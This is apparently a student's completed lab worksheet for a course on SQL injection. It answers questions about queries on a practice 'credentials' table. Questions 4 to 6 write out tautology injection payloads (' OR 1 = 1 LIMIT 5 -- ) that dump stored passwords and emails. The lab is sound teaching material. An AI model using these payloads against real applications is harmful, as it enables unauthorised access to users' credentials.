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**CY201 SQL Injection** 

4/20/2020 Blaze It

**Question 1:** What is the email retrieved when the password in 5th step (above) is used?

• John1s@semo.edu

**Question 2:** What is the email retrieved for the following SQL command:

SELECT email FROM credentials WHERE password = '12233432'

• Error is returned, no password matches.

**Question 3:** What is the data retrieved for the following SQL command:

SELECT \* FROM credentials WHERE password = 'harry'

• It returns the id, email, and password for <a href="rick@semo.edu">rick@semo.edu</a>, <a href="jane@semo.edu">jane@semo.edu</a>, and <a href="max@semo.edu">max@semo.edu</a>

**Question 4:** What is the data retrieved for the following SQL command:

SELECT password FROM credentials WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ']

• It returns the password 'abcd'

Question 5: Modify above command to increase the limit to 5 and display the output.

• SELECT password FROM credentials WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 5 -- ']

Question 6: Modify above command to include the email address. Hint: "SELECT \* FROM..."

SELECT \* FROM credentials WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 5 -- '];